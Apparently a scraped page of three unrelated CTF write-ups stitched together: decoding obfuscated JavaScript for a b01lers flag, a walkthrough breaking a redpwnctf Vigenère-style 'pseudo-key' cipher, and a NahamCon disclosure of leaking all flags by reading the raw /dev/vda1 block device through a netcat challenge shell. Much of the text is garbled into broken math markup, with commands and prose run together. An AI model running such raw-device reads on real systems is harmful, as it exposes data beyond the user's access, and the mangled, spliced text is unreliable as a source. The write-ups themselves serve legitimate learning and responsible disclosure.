mathnormal">t</span><span class="mord mathnormal">m</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">&gt;</span><span class="mspace nobreak"> </span><span class="mspace nobreak"> </span><span class="mspace nobreak"> </span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="mord mathnormal">h</span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">e</span><span class="mord mathnormal">i</span><span class="mord mathnormal">s</span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.751892em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mord mathnormal">t</span><span class="mord mathnormal">m</span><span class="mord mathnormal">u</span><span class="mord mathnormal">c</span><span class="mord mathnormal">h</span><span class="mord mathnormal">t</span><span class="mord mathnormal">o</span><span class="mord mathnormal">s</span><span class="mord mathnormal">e</span><span class="mord mathnormal">e</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathnormal">a</span><span class="mord mathnormal">s</span><span class="mord mathnormal">t</span><span class="mord mathnormal">h</span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mord mathnormal">h</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">e</span><span class="mord mathnormal">p</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal">e</span><span class="mord mathnormal">i</span><span class="mord mathnormal">s</span><span class="mord mathnormal">m</span><span class="mord mathnormal">o</span><span class="mord mathnormal">s</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">t</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mord mathnormal">m</span><span class="mord mathnormal">a</span><span class="mord mathnormal">n</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal">e</span><span class="mord mathnormal">d</span><span class="mord mathnormal">u</span><span class="mord mathnormal">s</span><span class="mord mathnormal">i</span><span class="mord mathnormal">n</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal">s</span><span class="mord mathnormal">c</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">i</span><span class="mord mathnormal">p</span><span class="mord mathnormal">t</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="mord mathnormal">h</span><span class="mord mathnormal">e</span><span class="mord mathnormal">i</span><span class="mord mathnormal">n</span><span class="mord mathnormal">t</span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">e</span><span class="mord mathnormal">s</span><span class="mord mathnormal">t</span><span class="mord mathnormal">i</span><span class="mord mathnormal">n</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal">s</span><span class="mord mathnormal">c</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">i</span><span class="mord mathnormal">p</span><span class="mord mathnormal">t</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal">i</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">e</span><span class="mord mathnormal">i</span><span class="mord mathnormal">n</span><span class="mord mathnormal">c</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">u</span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">d</span><span class="mord mathnormal">i</span><span class="mord mathnormal">s</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">o</span><span class="mord mathnormal">c</span><span class="mord mathnormal">a</span><span class="mord mathnormal">t</span><span class="mord mathnormal">e</span><span class="mord mathnormal">d</span><span class="mord mathnormal">a</span><span class="mord mathnormal">t</span><span class="mord">‘</span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mord mathnormal">s</span><span class="mord">/</span><span class="mord mathnormal">s</span><span class="mord mathnormal">c</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">i</span><span class="mord mathnormal">p</span><span class="mord mathnormal">t</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mord mathnormal">s</span><span class="mord">‘</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">:</span><span class="mspace nobreak"> </span><span class="mspace nobreak"> </span><span class="mspace nobreak"> </span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mord mathnormal">b</span><span class="mord mathnormal">a</span><span class="mord mathnormal">s</span><span class="mord mathnormal">h</span></span></span></span> curl http://chal.ctf.b01lers.com:3006/js/script.js
window.onload = function() {
    let input = document.getElementById("chat");
    input.focus();
    input.onkeypress = function send(e) {
        if (e.key === "Enter") {
            let message = "<li>" + input.value + "</li>";
            document.getElementById("messages").innerHTML += message;

        }
    }
}

window.onclick = function () {
    document.getElementById("chat").focus();
}

// don't waste your time with this
var _0x2e2c=['\x74\x72\x69\x67\x67\x65\x72','\x6f\x6b\x62\x75\x74\x74\x6f\x6e\x63\x6c\x69\x63\x6b\x65\x64','\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64','\x66\x6c\x61\x67\x7b\x79\x30\x75\x5f\x73\x68\x30\x75\x6c\x64\x6e\x74\x5f\x68\x34\x76\x33\x5f\x63\x30\x6d\x33\x5f\x62\x34\x63\x6b\x5f\x66\x6c\x79\x6e\x6e\x7d','\x6a\x51\x75\x65\x72\x79','\x61\x6c\x65\x72\x74'];(function(_0x4a3766,_0x6d4dbb){var _0x277919=function(_0x4f968d){while(--_0x4f968d){_0x4a3766['\x70\x75\x73\x68'](_0x4a3766['\x73\x68\x69\x66\x74']());}};_0x277919(++_0x6d4dbb);}(_0x2e2c,-0x1a8d+-0x2*0x9f+-0x1*-0x1c45));var _0xd7f1=function(_0x4a3766,_0x6d4dbb){_0x4a3766=_0x4a3766-(-0x1a8d+-0x2*0x9f+-0x1*-0x1bcb);var _0x277919=_0x2e2c[_0x4a3766];return _0x277919;};var _0x4f89d1=_0xd7f1;window[_0x4f89d1('\x30\x78\x33')]=function(_0x36059f,_0x256ac9){return function(_0x5cbfad){var _0x2fc60f=_0xd7f1;_0x36059f(_0x5cbfad),_0x256ac9(window)[_0x2fc60f('\x30\x78\x34')]('\x6f\x6b\x62\x75\x74\x74\x6f\x6e\x63\x6c\x69\x63\x6b\x65\x64');};}(window[_0x4f89d1('\x30\x78\x33')],window[_0x4f89d1('\x30\x78\x32')]),(window)['\x6f\x6e'](_0x4f89d1('\x30\x78\x35'),function(){var _0x452fbb=_0x4f89d1;document[_0x452fbb('\x30\x78\x30')]('\x72\x65\x73\x75\x6c\x74')['\x69\x6e\x6e\x65\x72\x54\x65\x78\x74']=_0x452fbb('\x30\x78\x31');});

The comment // don't waste your time with this can be seen as a hint to inspect the following javascript very closely, but we shouldn't spend too much time, as this might be ment in the way it is written down.

The first element in the javascript is a list of hex strings. Converting them to ascii one by one reveals the following strings:

  • trigger
  • okbuttonclicked
  • getElementById
  • flag{y0u_sh0uldnt_h4v3_c0m3_b4ck_flynn}
  • jQuery
  • alert

As you can see, the flag is contained in this list...

Flag

flag{y0u_sh0uldnt_h4v3_c0m3_b4ck_flynn}

So, this is a fairly long writeup for the pseudo-key challenge from the redpwnctf. It is ment to not only show the solution of the challenge, but also how to approach such a challenge. The challenge is based on the concept of Modular Arithmetics.

Initial view

So, the first thing to do is to view the data given. In this case, we get two files: pseudo-key-output.txt and pseudo-key.py. This is fairly obvious, the pseudo-key-output.txt is the output generated by the pseudo-key.py file. One of the first things we should do, is to understand how this all works, so let's look into the code:

#!/usr/bin/env python3

from string import ascii_lowercase

chr_to_num = {c: i for i, c in enumerate(ascii_lowercase)}
num_to_chr = {i: c for i, c in enumerate(ascii_lowercase)}

def encrypt(ptxt, key):
    ptxt = ptxt.lower()
    key = ''.join(key[i % len(key)] for i in range(len(ptxt))).lower()
    ctxt = ''
    for i in range(len(ptxt)):
        if ptxt[i] == '_':
            ctxt += '_'
            continue
        x = chr_to_num[ptxt[i]]
        y = chr_to_num[key[i]]
        ctxt += num_to_chr[(x + y) % 26]
    return ctxt

with open('flag.txt') as f, open('key.txt') as k:
    flag = f.read()
    key = k.read()

ptxt = flag[5:-1]

ctxt = encrypt(ptxt,key)
pseudo_key = encrypt(key,key)

print('Ciphertext:',ctxt)
print('Pseudo-key:',pseudo_key)

In order to look at the code and understand this, let's go through it line for line:

#!/usr/bin/env python3

The shebang indicating that this is ment to be executed using python3.

from string import ascii_lowercase

import the asci_lowercase character set (abcdefghijklmnopqrstuvwxyz)

chr_to_num = {c: i for i, c in enumerate(ascii_lowercase)}
num_to_chr = {i: c for i, c in enumerate(ascii_lowercase)}

maps for char to number (0a, 1b) and number to char (a0, b1), this is useful for the crypto function later on.

def encrypt(ptxt, key):
    ptxt = ptxt.lower()
    key = ''.join(key[i % len(key)] for i in range(len(ptxt))).lower()
    ctxt = ''
    for i in range(len(ptxt)):
        if ptxt[i] == '_':
            ctxt += '_'
            continue
        x = chr_to_num[ptxt[i]]
        y = chr_to_num[key[i]]
        ctxt += num_to_chr[(x + y) % 26]
    return ctxt

This is the encryption function, this takes some plaintext (ptxt) and a key (key), returning some ciphertext. Let's look at this line by line:

def encrypt(ptxt, key):

The function signature

    ptxt = ptxt.lower()

Convert the given plaintext to lowercase

    key = ''.join(key[i % len(key)] for i in range(len(ptxt))).lower()

Wrap the key, this means that if the plaintext is 8 bytes long (for example "12345678") and the key 3 bytes long ("key"), the key get's wrapped and gets repeated to be as long as the plaintext: ("keykeyke").

    ctxt = ''

Define a ciphertext, this will be filled in the following loop

    for i in range(len(ptxt)):
        if ptxt[i] == '_':
            ctxt += '_'
            continue
        x = chr_to_num[ptxt[i]]
        y = chr_to_num[key[i]]
        ctxt += num_to_chr[(x + y) % 26]
    return ctxt

Iterate over all the characters in the plaintext, this skips over underscores (_), converts the n'th char from the plaintext and from the key to a number, adds the numbers and adds the chr representation of the result modulo 26 to the ciphertext (Don't worry if this sound's weird, I'll get to this in detail further down).

with open('flag.txt') as f, open('key.txt') as k:
    flag = f.read()
    key = k.read()

This imports data from two files: flag.txt and key.txt. These contain the values we want to get, they get encrypted further down.

ptxt = flag[5:-1]

The plaintext get's defined as some chars in the flag, to be more precise, the 5th char until the second last char.

ctxt = encrypt(ptxt,key)

This encrypts the plaintext using the key as a key

pseudo_key = encrypt(key,key)

This encrypts the key using itself

print('Ciphertext:',ctxt)
print('Pseudo-key:',pseudo_key)

this prints the result

Decrypting

Now that we've got a basic understanding of how the given code is built up, let's define a goal. The overall goal we'd like to reach, is to get the plaintext of flag and the key. In order to do this, let's start by extracting the key.

The key

First, let's decrypt the key. The encryption works like this: encryption(key, key), so we known that the n'th character in the key ist added to the n'th character in the key and then taken modulo 26. As we want to decrypt this, we want to reverse the process of the encryption.

x = chr_to_num[ptxt[i]]
y = chr_to_num[key[i]]
ctxt += num_to_chr[(x + y) % 26]

So we start at the last step, num_to_chr. Let's convert the crypted key iigesssaemk into it's numerical representation:

from string import ascii_lowercase

chr_to_num = {c: i for i, c in enumerate(ascii_lowercase)}
num_to_chr = {i: c for i, c in enumerate(ascii_lowercase)}

cipher_key = "iigesssaemk"

for i in range(0, len(cipher_key)):
    print(chr_to_num[cipher_key[i]])
8
8
6
4
18
18
18
0
4
12
10

Next step, the actual crypto, the n'th numerical representation of the key get's added to the n'th numerical representation of the key and all of this is taken modulo 26, let's use an example to get a better understanding of this. Let's say we've got the character u in the key, the process of encryption works like this:

u2020 + 20 = 4040 % 26 = 1414

in order to reverse this, we need to find a value, that when added to itself and taken modulo 26 equals 14. We can try to brute force this:

a = 14
for j in range(0, 26):
    b = (j * 26) + a
    if ((b/2) < 26):
        print(b/2, end="")
    print("")
7.0
20.0

We search for a multiple of 26 that when added to 14 and divided by two is smaller than 26 (the target range (a-z)).

As you can see above, we get two results, ((7+7) % 26) = 14 and ((20+20) % 26) = 14. This is one of the problems we encounter, and in this problem lies the "pseudo" security of this "encryption". With values that are big enough, this wouldn't be a problem, as the resulting values wouldn't be so many, but with the limited space we've got, we only get a few results.

We can now proceed and brute-force all possible values for all values in our ciphertext:

from string import ascii_lowercase

chr_to_num = {c: i for i, c in enumerate(ascii_lowercase)}
num_to_chr = {i: c for i, c in enumerate(ascii_lowercase)}

pseukey = "iigesssaemk"

for i in range(0, len(pseukey)):
    print(pseukey[i], end=" → ")
    a = chr_to_num[pseukey[i]]
    for j in range(0, 10):
        b = (j * 26) + a
        if ((b/2) < 26):
            print(b, end=", ")
            print(num_to_chr[int(b/2)], end=", ")
    print("")
i → 8, e, 34, r,
i → 8, e, 34, r,
g → 6, d, 32, q,
e → 4, c, 30, p,
s → 18, j, 44, w,
s → 18, j, 44, w,
s → 18, j, 44, w,
a → 0, a, 26, n,
e → 4, c, 30, p,
m → 12, g, 38, t,
k → 10, f, 36, s,

Here, we see what output might correspond to a given input. There literally is no way (that I know), that can be used to obtain the exact values needed, but we can try to see what we can get from this. In order to do this, let's try to get something out:

 0   e, r <
 1 > e, r
 2 > d, q
 3   c, p <
 4   j, w <
 5   j, w <
 6   j, w <
 7   a, n <
 8 > c, p
 9   g, t <
10  > f, s

the CTF this challenge was hosted in was redpwnctf, so this is one of the strings that seemed likely. If you don't find such options or don't find a string, try searching for ctf. This can be found here, starting at index 8. The next index (9) coult be g or t and the next f or s, so we could build the string ctf. The rest (redpwwwwnctf) can be found by trial and error.

So the resulting key is redpwwwnctf

The flag

Having the key, we can decode the flag. In order to do this, let's first define the crypted flag and the key used to encrypt it.

key = "redpwwwnctf"
public = "z_jjaoo_rljlhr_gauf_twv_shaqzb_ljtyut"
ctxt = "z_jjaoo_rljlhr_gauf_twv_shaqzb_ljtyut"
key = ''.join(key[i % len(key)] for i in range(len(public)+20)).lower()

The key is defined in this weird way, defining it so that it is repeated to be as long as the ciphertext:

redpwwwnctfredpwwwnctfredpwwwnctfredpwwwnctfredpwwwnctfre

We can now decrypt the flag:

flag = ""

for i in range(0, len(ctxt)):
    if (ctxt[i] != "_"):
        a = chr_to_num[ctxt[i]]
        b = chr_to_num[key[i]]

        c = a - b
        if c < 0:
            c = (26 + a) - b

        flag += num_to_chr[c]


    else:
        flag += "_"


flag += "}"

The overall process is the same as with the key: For each character in the ciphertext, if the character is not an underscore, the values of the character at the respective indices in the ciphertext and the key are subtracted from each other, if this is less than zero, we add 26 (one modulo "round"). The result can be added to the flag string, so in the end we can print the flag:

flag{i_guess_pseudo_keys_are_pseudo_secure}

Overall, you should now have a basic understanding on how this works, if stuff is still unclear, try to repeat the process step by step, writing it down and try to visualize exactly how everything is done. If that doesn't help, find help (for example me, you'll figure out a way to contact me).

Intro

So, let's get things strait: yes, it is possible to leak all flags in a CTF and yes, people have done bad stuff with the leaked flags in the past resulting in a kind of broken CTF. In contradiction to this, this post will address how this was done in the NahamCon CTF, how it was disclosed, and what I've learned from this.

(Sidenote: I initially published this post on tildeho.me here).

Timeline

(time relative to the start of the CTF)

TimeWhat
+00:59hLeak of the first flags
+01:01hQuestion in the discord asking for an admin
+01:05hInformation regarding the leak and the challenge given to admin
+01:09hChallenge removed from CTFd and also not accessible anymore

NahamCon CTF

So let's start, my leak of all flags in the NahamCon CTF. Leaking the flags could be done using the "Fake File" (Misc) challenge.

The leak

The leak is done by reading from the vda1 block device:

The leak is actually so simple that I'm always astonised that it actually works. Let me present:

> <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">n</span><span class="mord mathnormal">c</span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mord mathnormal">h</span><span class="mord">2</span><span class="mord mathnormal">i</span><span class="mord">.</span><span class="mord mathnormal">c</span><span class="mord mathnormal">o</span><span class="mord mathnormal">m</span><span class="mord">5</span><span class="mord">0</span><span class="mord">0</span><span class="mord">2</span><span class="mord">6</span><span class="mord mathnormal">c</span><span class="mord mathnormal">a</span><span class="mord mathnormal">t</span><span class="mord">/</span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord">/</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">d</span><span class="mord mathnormal">a</span><span class="mord">1</span><span class="mord">∣</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">e</span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.946332em;vertical-align:-0.19444em;"></span><span class="mord mathnormal">a</span><span class="mord mathnormal">o</span><span class="mord">&quot;</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord"><span class="mord">.</span><span class="mord">∗</span></span><span class="mord">&quot;</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord">‘</span><span class="mord">‘</span><span class="mord">‘</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mord mathnormal">h</span><span class="mord mathnormal">a</span><span class="mord mathnormal">t</span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mord mathnormal">e</span><span class="mord mathnormal">d</span><span class="mord mathnormal">o</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathnormal">i</span><span class="mord mathnormal">s</span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">e</span><span class="mord mathnormal">a</span><span class="mord mathnormal">d</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">o</span><span class="mord mathnormal">m</span><span class="mord mathnormal">t</span><span class="mord mathnormal">h</span><span class="mord mathnormal">e</span><span class="mord mathnormal">b</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">o</span><span class="mord mathnormal">c</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">i</span><span class="mord mathnormal">c</span><span class="mord mathnormal">e</span><span class="mord mathnormal">a</span><span class="mord mathnormal">n</span><span class="mord mathnormal">d</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">e</span><span class="mord mathnormal">p</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">t</span><span class="mord mathnormal">h</span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">m</span><span class="mord mathnormal">a</span><span class="mord mathnormal">t</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mord"><span class="mord mathnormal">t</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.751892em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mord mathnormal">s</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">i</span><span class="mord mathnormal">t</span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mord mathnormal">a</span><span class="mord mathnormal">s</span><span class="mord mathnormal">s</span><span class="mord mathnormal">i</span><span class="mord mathnormal">m</span><span class="mord mathnormal">p</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">e</span><span class="mord mathnormal">a</span><span class="mord mathnormal">s</span><span class="mord mathnormal">t</span><span class="mord mathnormal">h</span><span class="mord mathnormal">a</span><span class="mord mathnormal">t</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord"><span class="mord mathnormal">e</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.751892em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mord mathnormal">s</span><span class="mord mathnormal">a</span><span class="mord mathnormal">s</span><span class="mord mathnormal">c</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">e</span><span class="mord mathnormal">e</span><span class="mord mathnormal">n</span><span class="mord mathnormal">s</span><span class="mord mathnormal">h</span><span class="mord mathnormal">o</span><span class="mord mathnormal">t</span><span class="mord mathnormal">d</span><span class="mord mathnormal">i</span><span class="mord mathnormal">s</span><span class="mord mathnormal">p</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mord mathnormal">i</span><span class="mord mathnormal">n</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal">t</span><span class="mord mathnormal">h</span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">e</span><span class="mord mathnormal">s</span><span class="mord mathnormal">u</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">t</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">:</span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mclose">!</span><span class="mopen">[</span><span class="mclose">]</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal">i</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">s</span><span class="mord"><span class="mord mathnormal">t</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.33610799999999996em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathnormal">e</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord">.</span><span class="mord mathnormal">p</span><span class="mord mathnormal">n</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mclose">)</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal">o</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal">t</span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">t</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal">i</span><span class="mord mathnormal">n</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal">t</span><span class="mord mathnormal">h</span><span class="mord mathnormal">i</span><span class="mord mathnormal">s</span><span class="mord mathnormal">s</span><span class="mord mathnormal">c</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">e</span><span class="mord mathnormal">e</span><span class="mord mathnormal">n</span><span class="mord mathnormal">s</span><span class="mord mathnormal">h</span><span class="mord mathnormal">o</span><span class="mord mathnormal">t</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mord mathnormal">a</span><span class="mord mathnormal">i</span><span class="mord mathnormal">t</span><span class="mord mathnormal">e</span><span class="mord mathnormal">d</span><span class="mord mathnormal">a</span><span class="mord mathnormal">b</span><span class="mord mathnormal">o</span><span class="mord mathnormal">u</span><span class="mord mathnormal">t</span><span class="mord mathnormal">a</span><span class="mord mathnormal">m</span><span class="mord mathnormal">i</span><span class="mord mathnormal">n</span><span class="mord mathnormal">u</span><span class="mord mathnormal">t</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mord mathnormal">o</span><span class="mord mathnormal">s</span><span class="mord mathnormal">e</span><span class="mord mathnormal">e</span><span class="mord mathnormal">i</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal">t</span><span class="mord mathnormal">h</span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mord mathnormal">a</span><span class="mord mathnormal">s</span><span class="mord mathnormal">m</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">e</span><span class="mord mathnormal">a</span><span class="mord mathnormal">n</span><span class="mord mathnormal">d</span><span class="mord mathnormal">t</span><span class="mord mathnormal">h</span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mord mathnormal">a</span><span class="mord mathnormal">s</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mord mathnormal">e</span><span class="mord mathnormal">x</span><span class="mord mathnormal">t</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">a</span><span class="mord mathnormal">c</span><span class="mord mathnormal">t</span><span class="mord mathnormal">e</span><span class="mord mathnormal">d</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal">s</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">o</span><span class="mord mathnormal">m</span><span class="mord mathnormal">t</span><span class="mord mathnormal">h</span><span class="mord mathnormal">e</span><span class="mord mathnormal">d</span><span class="mord mathnormal">u</span><span class="mord mathnormal">m</span><span class="mord mathnormal">p</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">i</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mord mathnormal">h</span><span class="mord mathnormal">i</span><span class="mord mathnormal">s</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord">‘</span><span class="mord">‘</span><span class="mord">‘</span><span class="mord mathnormal">b</span><span class="mord mathnormal">a</span><span class="mord mathnormal">s</span><span class="mord mathnormal">h</span></span></span></span> cat flagleak.txt | grep -o "flag\{\w{1,50}\}" | sort | uniq > flagleak_clean.txt

and proceeded to tweet the sha256sum of the flagleak_clean.txt file (functioning as a proof this happened about 1.5h after the CTF started):

Here a screenshot of the flag leak for verification:

